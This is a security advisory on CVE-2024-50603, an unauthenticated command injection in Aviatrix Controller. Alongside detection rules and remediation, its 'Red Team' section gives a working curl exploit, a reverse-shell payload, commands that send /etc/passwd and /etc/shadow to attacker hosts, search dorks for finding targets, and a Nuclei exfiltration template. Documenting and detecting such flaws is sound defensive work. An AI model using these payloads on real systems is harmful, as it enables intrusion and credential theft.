CVE-2024-50603

Executive Summary

CVE-2024-50603 is a critical, unauthenticated remote code execution (RCE) vulnerability in Aviatrix Controller versions prior to 7.1.4191 and 7.2.x prior to 7.2.4996. The flaw resides in the improper neutralization of special elements used in an OS command (CWE-78). An attacker can inject shell metacharacters via the cloud_type parameter in the list_flightpath_destination_instances API endpoint or the src_cloud_type parameter in the flightpath_connection_test API endpoint. This allows arbitrary command execution with the privileges of the controller process, leading to full system compromise. The vulnerability has a CVSS score of 10.0 (Critical) and is actively being exploited in the wild. A public proof-of-concept (PoC) and Nuclei template are available, increasing the risk of widespread exploitation.

Supply Chain & Package Security

This vulnerability is not related to a software supply chain package (NPM, PyPI, Go, Ruby). It is a direct command injection flaw in the Aviatrix Controller application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
• Confidentiality Impact: High (C:H) – Full system read access.
• Integrity Impact: High (I:H) – Full system write access.
• Availability Impact: High (A:H) – Full system disruption possible.

Threat Level: Critical. The combination of unauthenticated access, low complexity, and high impact makes this vulnerability extremely dangerous. Public exploit code and active scanning increase the urgency.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78) in the Aviatrix Controller's API. The controller fails to sanitize user-supplied input before passing it to a system shell. Specifically, the cloud_type and src_cloud_type parameters are concatenated into a command string without proper escaping or validation.

Affected Endpoints:

• /v1/api with action=list_flightpath_destination_instances and cloud_type parameter.
• /v1/api with action=flightpath_connection_test and src_cloud_type parameter.

Attack Flow:

1. An attacker sends a crafted POST request to the /v1/api endpoint.
2. The request includes shell metacharacters (e.g., |, ;, $(...)) in the vulnerable parameter.
3. The controller constructs a system command using the unsanitized input.
4. The injected command is executed with the privileges of the controller process (typically root or a high-privilege user).
5. The attacker can then execute arbitrary commands, exfiltrate data, install backdoors, or pivot within the network.

Example Injection:

cloud_type=1|$(curl -X POST -d @/etc/passwd http://attacker-controlled-server)

This command would exfiltrate the /etc/passwd file to an attacker-controlled server.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable: Direct string concatenation
command = f"some_tool --cloud-type {user_input}"
os.system(command)

Patched Code (Conceptual):

# Patched: Input validation and safe execution
import shlex
import subprocess

allowed_cloud_types = ["aws", "azure", "gcp"]
if user_input not in allowed_cloud_types:
    raise ValueError("Invalid cloud type")

command = ["some_tool", "--cloud-type", user_input]
subprocess.run(command, check=True)

The patched version uses a whitelist of allowed values and executes commands without a shell, preventing injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Aviatrix Controller (version < 7.1.4191 or 7.2.x < 7.2.4996).
• Network access to the controller's API endpoint.

Exploitation Steps:

1. Identify Target: Use Shodan or FOFA with the provided dorks to find vulnerable instances.
2. Craft Payload: Use the provided Nuclei template or a custom curl command.
3. Execute Exploit:

   curl -X POST https://target/v1/api \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "action=list_flightpath_destination_instances&CID=anything_goes_here&account_name=1&region=1&vpc_id_name=1&cloud_type=1|$(id > /tmp/pwned)"
   

4. Verify Execution: Check if the command was executed (e.g., by accessing /tmp/pwned or using out-of-band exfiltration).

Advanced Payloads:

• Reverse shell: cloud_type=1|bash -i >& /dev/tcp/attacker-ip/4444 0>&1
• Data exfiltration: cloud_type=1|curl -X POST -d @/etc/shadow http://attacker-ip/collect

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /v1/api with unusual parameters.
• Look for shell metacharacters (|, ;, $, `, &) in cloud_type or src_cloud_type fields.
• Alert on outbound connections to unknown IPs from the controller.

Honeypot:

• Deploy a decoy Aviatrix Controller with logging enabled to capture attacker behavior.

Containment:

• Immediately isolate affected controllers from the network.
• Block outbound traffic from controllers to the internet.
• Apply the vendor patch or upgrade to a fixed version.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /v1/api with action=list_flightpath_destination_instances or action=flightpath_connection_test.
• Parameters containing shell metacharacters (e.g., |, ;, $).
• Outbound connections to unknown IPs on ports 80, 443, or 4444 (reverse shell).

File System IOCs:

• Unexpected files in /tmp/ (e.g., /tmp/pwned).
• Modified system binaries or configuration files.
• New cron jobs or systemd services.

Process IOCs:

• Unusual child processes spawned by the controller (e.g., curl, bash, nc).
• High CPU or memory usage from unknown processes.

Log IOCs:

• Log entries showing command execution errors or shell commands in API parameters.
• Authentication logs showing successful logins from unexpected IPs.

Detection Engineering

YARA Rule

rule CVE_2024_50603_Aviatrix_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-50603 in Aviatrix Controller"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $s1 = "list_flightpath_destination_instances" ascii nocase
        $s2 = "flightpath_connection_test" ascii nocase
        $s3 = "cloud_type=" ascii nocase
        $s4 = "src_cloud_type=" ascii nocase
        $shell1 = "|" ascii
        $shell2 = ";" ascii
        $shell3 = "$(" ascii
        $shell4 = "`" ascii
    condition:
        (any of ($s1, $s2)) and (any of ($s3, $s4)) and (any of ($shell1, $shell2, $shell3, $shell4))
}

Sigma Rule

title: Aviatrix Controller Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-50603 via shell metacharacters in API parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=list_flightpath_destination_instances'
            - 'action=flightpath_connection_test'
        cs-uri-query|contains|all:
            - 'cloud_type='
            - '|'
    condition: selection
falsepositives:
    - Legitimate use of pipe characters in cloud_type (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-50603 Aviatrix Controller Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/v1/api"; http_uri;
    content:"action=list_flightpath_destination_instances"; http_client_body;
    content:"cloud_type="; http_client_body;
    pcre:"/cloud_type=[^&]*[\|\;\$\`]/Pi";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    priority:1;
)

Nuclei Template (Provided)

id: CVE-2024-50603

info:
  name: Aviatrix Controller - Remote Code Execution
  author: newlinesec,securing.pl
  severity: critical
  description: |
    An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.
  impact: |
    Attackers can exploit vulnerabilities to compromise the system.
  remediation: |
    Update to the latest patched version addressing CVE-2024-50603.
  reference:
    - https://www.securing.pl/en/cve-2024-50603-aviatrix-network-controller-command-injection-vulnerability/
    - https://docs.aviatrix.com/documentation/latest/network-security/index.html
    - https://docs.aviatrix.com/documentation/latest/release-notices/psirt-advisories/psirt-advisories.html?expand=true#remote-code-execution-vulnerability-in-aviatrix-controllers
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50603
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-50603
    cwe-id: CWE-78
    epss-score: 0.94362
    epss-percentile: 0.99963
  metadata:
    verified: true
    max-request: 1
    vendor: aviatrix
    product: controller
    shodan-query:
      - http.title:"aviatrix controller"
      - http.title:"aviatrix cloud controller"
    fofa-query:
      - app="aviatrix-controller"
      - title="aviatrix cloud controller"
    google-query: intitle:"aviatrix cloud controller"
    zoomeye-query: app="Aviatrix Controller"
  tags: cve,cve2024,aviatrix,controller,rce,oast,kev,vkev,vuln

variables:
  oast: "{{interactsh-url}}"

http:
  - raw:
      - |
        POST /v1/api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=list_flightpath_destination_instances&CID=anything_goes_here&account_name=1&region=1&vpc_id_name=1&cloud_type=1|$(curl+-X+POST+-d+@/etc/passwd+{{oast}})

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        name: http
        words:
          - "http"

      - type: status
        status:
          - 200

      - type: regex
        part: interactsh_request
        regex:
          - 'root:.*:0:0:'

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Aviatrix Controller version 7.1.4191 or 7.2.4996 or later.
2. Workaround: If patching is not immediately possible, restrict network access to the /v1/api endpoint using a web application firewall (WAF) or network ACLs.
3. Monitor: Actively monitor logs for exploitation attempts using the provided detection rules.

Long-Term Measures:

• Implement input validation and parameterized commands in all API endpoints.
• Conduct regular security audits and penetration testing.
• Deploy a WAF with rules to block shell metacharacters in API parameters.
• Enable logging and alerting for all administrative actions.

Valters IT Signature

This report was generated by Valters IT DevSecOps. For further assistance, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 4C9D821E6122153820ADC876] */}